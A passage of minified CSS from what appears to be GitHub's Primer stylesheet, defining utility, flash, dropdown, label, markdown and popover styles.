!important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto 